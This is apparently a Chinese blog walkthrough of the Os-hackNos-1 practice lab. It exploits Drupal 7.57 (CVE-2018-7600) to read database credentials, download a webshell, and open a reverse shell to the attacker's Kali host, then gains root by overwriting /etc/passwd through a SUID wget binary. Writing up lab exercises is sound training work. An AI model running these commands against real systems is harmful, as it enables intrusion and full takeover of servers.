Os-hackNos系列 之 Os-hackNos-1

发布于 2022-11-15  691 次阅读


0x01 环境介绍

攻击机 :KALI 2022-08-31

靶机 Os-hackNos-1

使用到的工具:

image-20221108193637364
难易程度:初级到中级

Flag:普通用户和root用户各一个flag

学习技能:漏洞利用 | web应用 | 暴力破解 | 权限提升
image-20221108193742718

在后面查靶机的IP时,发现死活就是扫描不到,怀疑是根本就没有网络,于是从网上查询了解决方案,如下:

首先要进入ubantu的救援模式

网上搜索是说按 alt + F2, 但是我尝试并不能进入救援模式

最后解决 使用 ctrl + alt + del 反复按,就可以进入了

在ubuntu上按下e

image-20221108205054013

将ro 修改成 下面的样子

image-20221108205203435

修改完之后,按下ctrl + x 返回shell

image-20221108203645202
ip a   # 查看网卡
image-20221115095243075

发现网卡ens33,修改 /etc/network/interfaces 里的网卡错误信息

vim /etc/network/interfaces
image-20221108203703962

修改完 :wq退出 ,重启网络服务

/etc/init.d/networking/ restart
image-20221108203654020

可以看到已经获取ip,重启就行啦

其他两个靶场(Os-hackNos-2 | Os-hackNos-3)

是修改/etc/netplan/50-cloud-init.yaml 中网卡的错误信息

0x02 信息搜集

主机发现

这里可以使用这三种方法对内网进行扫描

arp-scan -l
netdiscover -i eth0 -r 192.168.80.0/24
nmap -sn 92.168.80.0/24
image-20221111110716820

kali是128, 那么我们所要渗透的hackNos1 的IP为 192.168.80.142

端口扫描

nmap -A 192.168.80.142
image-20221111111749657

开放了22端口和80端口

目录扫描

这里也提供三种方式(工具)吧

dirb http://192.168.80.142/ 
dirsearch -u http://192.168.80.142/ -e * -r
gobuster dir -u http://192.168.80.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
image-20221111162545640
image-20221111161617182
image-20221111162225195

扫描到 http://192.168.80.142/drupal/

image-20221111162638205

知识了解

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成

在我的本地也安装了一个Drupal

image-20221111163813390

可以看到这里有一个CHANGELOG.txt

我们尝试访问靶机上的这个文件

image-20221111163949806

果然存在,并且可以查看到Drupal目前版本为 Drupal 7.57

0x03漏洞发现

从github上搜索 Drupal 7.57 寻找exp

https://github.com/pimps/CVE-2018-7600
image-20221111164905595

可以看到 7.57版本的也存在漏洞

漏洞概述

0x04漏洞利用

利用exp

下载exp

git clone https://github.com/pimps/CVE-2018-7600.git

查看

image-20221111182100226

可以看到可以使用这几个参数

options:
  -h, --help                        show this help message and exit
  -c COMMAND, --command COMMAND     Command to execute (default = id)
  -f FUNCTION, --function FUNCTION  Function to use as attack vector (default
                                    = passthru)
  -p PROXY, --proxy PROXY           Configure a proxy in the format
                                    http://127.0.0.1:8080/ (default = none

一般直接跟上路径就可以的

image-20221111182624004

这里可以看到已经成功了,我们跟上参数 -c 执行命令

image-20221111182748180

可以看到这里确实是靶机的IP

http://192.168.80.142/drupal/sites/default/settings.php

这个文件存放了数据库的用户名密码

我们可以查看一下

python drupa7-CVE-2018-7600.py http://192.168.80.142/drupal/ -c "cat ./sites/default/settings.php"
image-20221111184746982
$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'cuppa',
      'username' => 'cuppauser',
      'password' => 'Akrn@4514',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

写入一句话

本地新建一个文件写入一句话

image-20221111190715947

然后使用python的模块开启一个简单的ftp服务

image-20221111190757010
python drupa7-CVE-2018-7600.py http://192.168.80.142/drupal/ -c "wget http://192.168.80.128:4567/123.php"
image-20221111191020982

可以看到已经将一句话写入

image-20221111191125704

菜刀连接获取shell

反弹shell

kali开启监听

nc -lvvp 8888

利用exp对靶机进行nc连接

python drupa7-CVE-2018-7600.py http://192.168.80.142/drupal/ -c "/bin/bash -c 'sh -i >& /dev/tcp/192.168.80.128/8888 0>&1'"
image-20221114151143155

获取模拟终端

python3 -c "import pty;pty.spawn('/bin/bash')"
image-20221114151442538

读取passwd

www-data@hackNos:/var/www/html/drupal$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
james:x:1000:1000:james,,,:/home/james:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false

可以看到这里有用户 james

查看目录和文件

image-20221114151902405

有一个user.txt文件

image-20221114151957432

在/var/www/html 下 有个 alexander.txt

查看发现是base64,解码后发现还是密文,网上搜索是Brainfuck/OoK加密

Brainfuck/OoK加密解密 - Bugku CTF

解码是james的用户名和密码

james:Hacker@4514 这个账号可以登录drupal 但是无法切换用户

image-20221114160244397

0x05 权限提升

uid提权

find / -perm -u=s -type f 2>/dev/null
image-20221114161120689

发现wget命令的所有者是root

image-20221115084048567

可以看到确实是设置了UID权限

什么是UID权限

所以,我们可以使用wget将/bin/passwd覆盖掉

首先我们先构造一个root权限的用户,将root用户的用户信息进行修改,构造成我们的root权限用户

root:x:0:0:root:/root:/bin/bash

使用openssl 对生成的用户进行加密

image-20221115084848340

构造用户

ordshine:$1$ordshine$6W9mjoWDgCq9rKoI3VDWV/:0:0:root:/root:/bin/bash

然我我们再重新写一个passwd文件

image-20221115085142098

将我们生成的用户信息加入passwd

使用python开启一个http服务器

python -m http.server 8000 
image-20221115085937080

可以看到是可以访问的,那么我们就开始覆盖

wget http://192.168.80.128:8000/passwd -O /etc/passwd
image-20221115090323303

可以看,已经将/etc/passwd替换成功

我们尝试更换用户

image-20221115090419438

成功获取root权限

查看/root 下的文件,找到了root.txt

root@hackNos:~# cat root.txt
cat root.txt
    _  _                              _   
  _| || |_                           | |  
 |_  __  _|______  _ __  ___    ___  | |_ 
  _| || |_|______|| '__|/ _ \  / _ \ | __|
 |_  __  _|       | |  | (_) || (_) || |_ 
   |_||_|         |_|   \___/  \___/  \__|



MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b

Author : Rahul Gehlaut

Linkedin : https://www.linkedin.com/in/rahulgehlaut/

Blog : www.hackNos.com
root@hackNos:~#